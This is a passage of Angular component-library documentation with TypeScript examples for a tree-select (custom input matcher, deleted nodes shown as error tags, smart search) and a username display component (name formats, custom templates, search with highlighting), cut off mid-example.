**Example: tree-select-custom-matcher-with-input** (`tree-select-custom-matcher-with-input`)

```ts tree-select-custom-matcher-with-input-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInput, KbqInputModule } from '@koobiq/components/input';
import {
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule,
    KbqTreeOption
} from '@koobiq/components/tree';
import { KbqTreeSelect, KbqTreeSelectChange, KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-custom-matcher-with-input-example',
    imports: [FormsModule, KbqTreeModule, KbqTreeSelectModule, KbqIconModule, KbqButtonModule, KbqInputModule],
    template: `
        <kbq-form-field>
            <kbq-tree-select
                #select="kbqTreeSelect"
                [tabIndex]="null"
                [class]="{ 'kbq-tree-select': false, 'my-custom-select': true }"
                [(ngModel)]="selected"
                (closed)="input.focus()"
            >
                <div kbq-select-matcher style="width: 100%" [useDefaultHandlers]="false">
                    <input
                        #input="kbqInput"
                        autocomplete="off"
                        kbqInput
                        type="text"
                        [(ngModel)]="selected"
                        (click)="handleClick(input, select)"
                        (keydown)="handleKeydown($event, select)"
                    />
                </div>

                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>
            </kbq-tree-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectCustomMatcherWithInputExample {
    selected = 'docs';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    onSelectionChange($event: KbqTreeSelectChange) {
        const option: KbqTreeOption = $event.value;

        console.log(`onSelectionChange: ${option.value}`);

        this.selected = option.value;
    }

    handleClick(input: KbqInput, treeSelect: KbqTreeSelect) {
        treeSelect.toggle();
        setTimeout(() => input.focus());
        console.log('input.focus();: ');
    }

    handleKeydown(event, treeSelect: KbqTreeSelect) {
        console.log('handleKeydown: ', event);

        if (!treeSelect.disabled()) {
            if (treeSelect.panelOpen) {
                treeSelect.panelKeydownHandler(event);
            } else {
                treeSelect.triggerKeydownHandler(event);
            }
        }
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

#### Deleted nodes example

Shows how to handle selected values whose nodes were deleted on the backend: the deleted nodes are hidden from the dropdown but stay in the selection as removable error tags, the field is shown in an error state while any deleted value is selected, and a hint explains why.

**Example: tree-select-deleted-nodes** (`tree-select-deleted-nodes`)

```ts tree-select-deleted-nodes-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { ReactiveFormsModule, UntypedFormControl } from '@angular/forms';
import { ErrorStateMatcher } from '@koobiq/components/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagsModule } from '@koobiq/components/tags';
import {
    defaultCompareValues,
    defaultCompareViewValues,
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule
} from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    id: string;
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information. */
export class FileFlatNode {
    id: string;
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: FileFlatNode | null;
}

/**
 * Builds the file structure tree. Each node gets a stable, unique `id` (its path) that is used as
 * the node value/identity — unlike the display name, which may be duplicated across branches.
 */
export function buildFileTree(value: any, level: number, parentId: string = ''): FileNode[] {
    return Object.keys(value).map((key) => {
        const node = new FileNode();

        node.id = parentId ? `${parentId}/${key}` : key;
        node.name = key;

        const childValue = value[key];

        if (childValue !== null && typeof childValue === 'object') {
            node.children = buildFileTree(childValue, level + 1, node.id);
        } else {
            node.type = childValue;
        }

        return node;
    });
}

export const DATA_OBJECT = {
    Documents: {
        report: 'pdf',
        budget: 'xlsx'
    },
    Downloads: {
        Tutorial: 'html',
        November: 'pdf',
        October: 'pdf'
    },
    Applications: {
        Chrome: 'app',
        Calendar: 'app'
    }
};

@Component({
    selector: 'tree-select-deleted-nodes-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqTreeModule,
        KbqTreeSelectModule,
        KbqTagsModule,
        KbqIconModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tree-select
                multiple="true"
                multiline="true"
                [formControl]="control"
                [errorStateMatcher]="deletedNodesErrorStateMatcher"
            >
                <ng-template #kbqSelectTagContent let-option let-select="select">
                    <kbq-tag
                        [selectable]="false"
                        [disabled]="option.disabled || select.disabled()"
                        [color]="deletedIds.has(option.value) ? 'error' : ''"
                    >
                        {{ option.viewValue }}
                        <!-- remove control; hidden when the tag or the whole select is disabled -->
                        @if (!select.disabled() && !option.disabled) {
                            <i
                                kbq-icon="kbq-xmark-s_16"
                                kbqTagRemove
                                [color]="deletedIds.has(option.value) ? 'error' : ''"
                                (click)="select.onRemoveSelectedOption(option, $event)"
                            ></i>
                        }
                    </kbq-tag>
                </ng-template>

                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <!--
                        Deleted nodes (and the whole subtree of a deleted parent): an empty template, so they
                        don't render in the panel and never enter renderedOptions, yet stay in the data and
                        therefore still produce a tag in the matcher.
                    -->
                    <ng-container *kbqTreeNodeDef="let node; when: isDeleted" />

                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>
            </kbq-tree-select>

            <!-- Visible textual reason for the error state: shown even if a red tag was collapsed into the overflow counter -->
            @if (deletedCount > 0) {
                <kbq-hint>Удалено элементов: {{ deletedCount }} — удалите их из выбора</kbq-hint>
            }
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectDeletedNodesExample {
    private readonly changeDetectorRef = inject(ChangeDetectorRef);
    private readonly defaultErrorStateMatcher = inject(ErrorStateMatcher);

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;
    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    // Selected values, by id. Two of them reference nodes that the backend reports as deleted.
    control = new UntypedFormControl([
        'Applications/Calendar',
        'Downloads/November',
        'Downloads/October'
    ]);

    // Single source of truth for "deleted", rebuilt from the backend list on every (re)load.
    deletedIds = new Set<string>();

    // Forces the field into an error (visual) state while any deleted node is selected — this only
    // drives the displayed error, it does not change FormControl validity (no validator is added).
    // It ORs the default matcher so real Validators (required/pattern/server) are not masked; it is
    // keyed by id and clears reactively.
    deletedNodesErrorStateMatcher: ErrorStateMatcher = {
        isErrorState: (control, form): boolean =>
            this.defaultErrorStateMatcher.isErrorState(control as any, form) ||
            (Array.isArray(control?.value) && control!.value.some((id: string) => this.deletedIds.has(id)))
    };

    // The explicit list of deleted ids as it would arrive from the backend.
    private readonly backendDeletedIds = ['Downloads/November', 'Downloads/October'];

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        // The tree resolves nodes by their stable id (not the display name).
        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue,
            defaultCompareValues,
            defaultCompareViewValues
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.setTreeData(buildFileTree(DATA_OBJECT, 0));
    }

    /**
     * (Re)loads the tree. Safe to call on every backend refresh: it rebuilds `deletedIds` from the
     * backend list BEFORE assigning the data (so the node-defs read the fresh set on re-render),
     * which is why a runtime reload never "loses" the deleted state the way a per-node flag would.
     */
    setTreeData(raw: FileNode[]): void {
        this.deletedIds = new Set(this.backendDeletedIds);
        this.dataSource.data = raw;
        this.changeDetectorRef.markForCheck();
    }

    /** Count of currently-selected values that are deleted — drives the explanatory hint. */
    get deletedCount(): number {
        return ((this.control.value as string[]) || []).filter((id) => this.deletedIds.has(id)).length;
    }

    // Hide a deleted node (and the whole subtree of a deleted parent) from the dropdown.
    isDeleted = (_: number, node: FileFlatNode): boolean => this.isDeletedNode(node);

    // Expandable-but-not-deleted. Making these mutually exclusive means a deleted expandable node
    // always falls into the empty `isDeleted` def regardless of node-def declaration order.
    hasChild = (_: number, node: FileFlatNode): boolean => node.expandable && !this.isDeletedNode(node);

    private isDeletedNode(node: FileFlatNode | null): boolean {
        for (let current = node; current; current = current.parent) {
            if (this.deletedIds.has(current.id)) {
                return true;
            }
        }

        return false;
    }

    private transformer = (node: FileNode, level: number, parent: FileFlatNode | null) => {
        const flatNode = new FileFlatNode();

        flatNode.id = node.id;
        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => node.level;

    private isExpandable = (node: FileFlatNode) => node.expandable;

    private getChildren = (node: FileNode): FileNode[] => node.children;

    // Identity is the stable id, not the display name.
    private getValue = (node: FileFlatNode): string => node.id;

    private getViewValue = (node: FileFlatNode): string => node.name;
}
```

#### Smart search

Search splits a multi-word query into parts and searches for them independently, trims leading and trailing spaces, is case-insensitive, and folds diacritics. The algorithm is described in the [Smart search guide](https://koobiq.io/en/other/search-smart.md).

**Example: Tree-select smart search** (`tree-select-search-smart`)

```ts tree-select-search-smart-example.ts
import { ChangeDetectionStrategy, Component, OnInit } from '@angular/core';
import { FormControl, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { createSearchPredicate, KbqHighlightModule, tokenizeSearchQuery } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    defaultCompareValues,
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule
} from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-search-smart-example',
    imports: [
        KbqTreeSelectModule,
        FormsModule,
        ReactiveFormsModule,
        KbqIconModule,
        KbqInputModule,
        KbqTreeModule,
        KbqHighlightModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tree-select [multiple]="true" [(ngModel)]="selected">
                <kbq-form-field noBorders kbqSelectSearch>
                    <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                    <input kbqInput type="text" [formControl]="searchControl" />
                    <kbq-cleaner />
                </kbq-form-field>

                <div kbq-select-search-empty-result>Ничего не найдено</div>

                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        <span
                            [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: searchTokens : true"
                        ></span>
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        <span
                            [innerHTML]="treeControl.getViewValue(node) | kbqHighlightBackground: searchTokens : true"
                        ></span>
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectSearchSmartExample implements OnInit {
    selected = '';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    searchControl: FormControl = new FormControl();

    protected searchTokens: string[] = [];

    private lastQuery: string | null = null;
    private lastPredicate: (value: string) => boolean = () => true;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue,
            defaultCompareValues,
            this.compareViewValues
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    ngOnInit(): void {
        this.searchControl.valueChanges.subscribe((value) => this.treeControl.applyFilter(value));
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    /**
     * `compareViewValues` is invoked once per node on every filter pass, so both the predicate and
     * `searchTokens` are rebuilt only when the query actually changes, not for every node — the latter
     * also keeps the reference stable between change-detection passes, which the highlight pipes rely
     * on for memoization.
     */
    private compareViewValues = (viewValue: string, query: string): boolean => {
        if (query !== this.lastQuery) {
            this.lastQuery = query;
            this.lastPredicate = createSearchPredicate(query ?? '');
            this.searchTokens = tokenizeSearchQuery(query ?? '');
        }

        return this.lastPredicate(viewValue);
    };

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

## Username

- Entry point: `@koobiq/components/username`
- NgModule: `KbqUsernameModule`
- Page: https://koobiq.io/en/components/username/overview

### Overview

The component displays user information in a consistent style and builds the label from the profile data, following the selected display mode and the compact option.

**Example: Username overview** (`username-overview`)

```ts username-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqUserInfo, KbqUsername } from '@koobiq/components/username';

@Component({
    selector: 'username-overview-example',
    imports: [KbqUsername],
    template: `
        <kbq-username [userInfo]="userInfo" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class UsernameOverviewExample {
    userInfo: KbqUserInfo = {
        firstName: 'Maxwell',
        middleName: 'Alan',
        lastName: 'Root',
        login: 'mroot',
        site: 'corp'
    };
}
```

#### Configuration demo

**Example: Username playground** (`username-playground`)

```ts username-playground-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqRadioModule } from '@koobiq/components/radio';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqUserInfo, KbqUsername, KbqUsernameMode, KbqUsernameStyle } from '@koobiq/components/username';

@Component({
    selector: 'username-playground-example',
    imports: [
        FormsModule,
        KbqUsername,
        KbqTextareaModule,
        KbqCheckboxModule,
        KbqRadioModule
    ],
    template: `
        <div class="example-result">
            <kbq-username
                [userInfo]="userInfo"
                [fullNameFormat]="fullNameFormat"
                [isCompact]="isCompact"
                [mode]="selectedMode"
                [type]="selectedType"
            />
        </div>
        <div class="layout-row layout-gap-l">
            <kbq-form-field style="width: 100px">
                <kbq-label>Name format</kbq-label>
                <textarea kbqTextarea rows="1" [maxRows]="1" [(ngModel)]="fullNameFormat"></textarea>
            </kbq-form-field>

            <kbq-checkbox [(ngModel)]="isCompact">isCompact</kbq-checkbox>
            <kbq-radio-group [(ngModel)]="selectedMode">
                @for (usernameMode of modes; track usernameMode) {
                    <kbq-radio-button [value]="usernameMode">
                        {{ usernameMode }}
                    </kbq-radio-button>
                }
            </kbq-radio-group>
            <kbq-radio-group [(ngModel)]="selectedType">
                @for (usernameType of types; track usernameType) {
                    <kbq-radio-button [value]="usernameType">
                        {{ usernameType }}
                    </kbq-radio-button>
                }
            </kbq-radio-group>
        </div>
    `,
    styles: `
        .example-result {
            padding: var(--kbq-size-m);
            margin-bottom: var(--kbq-size-m);
            background: var(--kbq-background-theme-less);
            border-radius: var(--kbq-size-border-radius);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class UsernamePlaygroundExample {
    userInfo: KbqUserInfo = {
        firstName: 'Maxwell',
        middleName: 'Alan',
        lastName: 'Root',
        login: 'mroot'
    };
    selectedMode: KbqUsernameMode = 'inline';
    selectedType: KbqUsernameStyle = 'default';
    isCompact = false;
    fullNameFormat = 'f.m.l';

    modes: KbqUsernameMode[] = ['inline', 'stacked', 'text'];
    types: KbqUsernameStyle[] = ['default', 'error', 'accented', 'inherit'];
}
```

#### Name format

`fullNameFormat` is a string of keys, each naming a field of the profile: `l` — last name, `f` — first name, `m` — middle name. A key followed by `.` renders an initial, any other key renders the field in full, and the separating spaces are inserted for you. The default, `lf.m.`, therefore renders `Root M. A.`; `fml` renders `Maxwell Alan Root`.

`isCompact` renders everything as a single line: the name if the profile has one, the login otherwise — never both. Use it where the row has no space for two parts, such as a select trigger.

#### Custom template

If flexible layout is required and the default template doesn’t meet your needs, project a `<kbq-username-custom-view>`; it composes with any `mode` and `type`, so consistency with the design system is maintained.

Inside it, format the name with a pipe. The two pipes differ only in how they decide between the full value and an initial:

- `kbqUsername` follows the `fullNameFormat` rule above — a key followed by `.` is an initial — and drops every character it cannot map.
- `kbqUsernameCustom` takes the form from the key's case — `l` is an initial, `L` is the full value — and emits every character it cannot map verbatim, so the format carries its own punctuation: `L f. m.` renders `Root M. A.`

Both resolve their format-key-to-field mapping from `KBQ_PROFILE_MAPPING`. The shipped default maps `f`/`F`, `m`/`M` and `l`/`L` onto `KbqUserInfo`; provide the token at component or route level to format a profile of your own shape.

**Example: Username custom** (`username-custom`)

```ts username-custom-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqRadioModule } from '@koobiq/components/radio';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqTitleModule } from '@koobiq/components/title';
import {
    KBQ_PROFILE_MAPPING,
    KbqFormatKeyToProfileMappingExtended,
    KbqUserInfo,
    KbqUsernameFormatKey,
    KbqUsernameMode,
    KbqUsernameModule,
    KbqUsernameStyle
} from '@koobiq/components/username';

const mapping: KbqFormatKeyToProfileMappingExtended = {
    [KbqUsernameFormatKey.FirstNameShort]: 'firstName',
    [KbqUsernameFormatKey.FirstNameFull]: 'firstName',

    [KbqUsernameFormatKey.MiddleNameShort]: 'middleName',
    [KbqUsernameFormatKey.MiddleNameFull]: 'middleName',

    [KbqUsernameFormatKey.LastNameShort]: 'lastName',
    [KbqUsernameFormatKey.LastNameFull]: 'lastName',

    [KbqUsernameFormatKey.Dot]: undefined
};

@Component({
    selector: 'username-custom-example',
    imports: [
        FormsModule,
        KbqUsernameModule,
        KbqTextareaModule,
        KbqRadioModule,
        KbqTitleModule
    ],
    template: `
        <div class="example-result">
            <kbq-username [mode]="selectedMode" [type]="selectedType">
                <kbq-username-custom-view>
                    @let fullName = userInfo | kbqUsernameCustom: fullNameFormat;
                    <span kbqUsernamePrimary>{{ fullName }}</span>

                    @if (userInfo.login) {
                        <span kbqUsernameSecondary kbq-title class="kbq-mono-normal">[{{ userInfo.login }}]</span>
                    }
                </kbq-username-custom-view>
            </kbq-username>
        </div>
        <div class="layout-row layout-gap-l">
            <kbq-form-field style="width: 100px">
                <kbq-label>Name format</kbq-label>
                <textarea kbqTextarea rows="1" [maxRows]="1" [(ngModel)]="fullNameFormat"></textarea>
            </kbq-form-field>

            <kbq-radio-group [(ngModel)]="selectedMode">
                @for (usernameMode of modes; track usernameMode) {
                    <kbq-radio-button [value]="usernameMode">
                        {{ usernameMode }}
                    </kbq-radio-button>
                }
            </kbq-radio-group>
            <kbq-radio-group [(ngModel)]="selectedType">
                @for (usernameType of types; track usernameType) {
                    <kbq-radio-button [value]="usernameType">
                        {{ usernameType }}
                    </kbq-radio-button>
                }
            </kbq-radio-group>
        </div>
    `,
    styles: `
        .example-result {
            padding: var(--kbq-size-m);
            margin-bottom: var(--kbq-size-m);
            background: var(--kbq-background-theme-less);
            border-radius: var(--kbq-size-border-radius);
        }
    `,
    providers: [
        { provide: KBQ_PROFILE_MAPPING, useValue: mapping }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class UsernameCustomExample {
    userInfo: KbqUserInfo = {
        firstName: 'Maxwell',
        middleName: 'Alan',
        lastName: 'Root',
        login: 'mroot'
    };
    selectedMode: KbqUsernameMode = 'inline';
    selectedType: KbqUsernameStyle = 'default';
    fullNameFormat = 'F m. l.';

    modes: KbqUsernameMode[] = ['inline', 'stacked', 'text'];
    types: KbqUsernameStyle[] = ['default', 'error', 'accented', 'inherit'];
}
```

The component can be conveniently used inside links. To visually match the link style, set the `inherit` style — this ensures that color and appearance are inherited from the parent element.

**Example: Username as link** (`username-as-link`)

```ts username-as-link-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink } from '@koobiq/components/link';
import { KbqUserInfo, KbqUsername } from '@koobiq/components/username';

@Component({
    selector: 'username-as-link-example',
    imports: [KbqUsername, KbqLink],
    template: `
        <a kbqLink><kbq-username [userInfo]="userInfo" [type]="'inherit'" /></a>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class UsernameAsLinkExample {
    userInfo: KbqUserInfo = {
        firstName: 'Maxwell',
        middleName: 'Alan',
        lastName: 'Root',
        login: 'mroot'
    };
}
```

#### Search and highlight

To filter a list of users by the displayed name, call `kbqInjectUsernameFormatter()` in an injection context and use the function it returns — it resolves `KBQ_PROFILE_MAPPING` where you call it, so a scoped mapping produces the same string the component renders.

The matched fragment is easy to highlight in a custom template with the `kbqHighlightBackground` pipe.

**Example: Username search** (`username-search`)

```ts username-search-example.ts
import { ChangeDetectionStrategy, Component, computed, model, signal } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { FormControl, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { createSearchPredicate, KbqHighlightModule, tokenizeSearchQuery } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule, kbqSelectOptionsProvider } from '@koobiq/components/select';
import { KbqToggleModule } from '@koobiq/components/toggle';
import {
    kbqBuildUsernameText,
    kbqInjectUsernameFormatter,
    KbqUserInfo,
    KbqUsernameModule
} from '@koobiq/components/username';
import { startWith } from 'rxjs';

@Component({
    selector: 'username-search-example',
    imports: [
        FormsModule,
        ReactiveFormsModule,
        KbqSelectModule,
        KbqInputModule,
        KbqIconModule,
        KbqToggleModule,
        KbqUsernameModule,
        KbqHighlightModule
    ],
    template: `
        <div class="example__content">
            <kbq-toggle [(ngModel)]="isCompact">Compact</kbq-toggle>

            <kbq-form-field>
                <kbq-select placeholder="Assignee" [(value)]="selectedUser">
                    <kbq-select-trigger>
                        @if (selectedUser(); as user) {
                            <kbq-username [userInfo]="user" [isCompact]="isCompact()" />
                        }
                    </kbq-select-trigger>

                    <kbq-form-field noBorders kbqSelectSearch>
                        <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                        <input kbqInput type="text" [formControl]="searchControl" />
                        <kbq-cleaner />
                    </kbq-form-field>

                    <div kbq-select-search-empty-result>Nothing found</div>

                    @for (user of filteredUsers(); track user) {
                        <kbq-option [value]="user">
                            <kbq-username>
                                <kbq-username-custom-view>
                                    @let fullName = user | kbqUsername;

                                    @if (isCompact()) {
                                        <span kbqUsernamePrimary>
                                            <span
                                                [innerHTML]="fullName | kbqHighlightBackground: keywords() : true"
                                            ></span>
                                            @if (user.site) {
                                                <span
                                                    kbqUsernameSecondaryHint
                                                    [innerHTML]="
                                                        '(' + user.site + ')'
                                                            | kbqHighlightBackground: keywords() : true
                                                    "
                                                ></span>
                                            }
                                        </span>
                                    } @else {
                                        <span
                                            kbqUsernamePrimary
                                            [innerHTML]="fullName | kbqHighlightBackground: keywords() : true"
                                        ></span>

                                        @if (user.login) {
                                            <span kbqUsernameSecondary>
                                                <span
                                                    [innerHTML]="user.login | kbqHighlightBackground: keywords() : true"
                                                ></span>
                                                @if (user.site) {
                                                    <span
                                                        kbqUsernameSecondaryHint
                                                        [innerHTML]="
                                                            '(' + user.site + ')'
                                                                | kbqHighlightBackground: keywords() : true
                                                        "
                                                    ></span>
                                                }
                                            </span>
                                        }
                                    }
                                </kbq-username-custom-view>
                            </kbq-username>
                        </kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>
        </div>
    `,
    styles: `
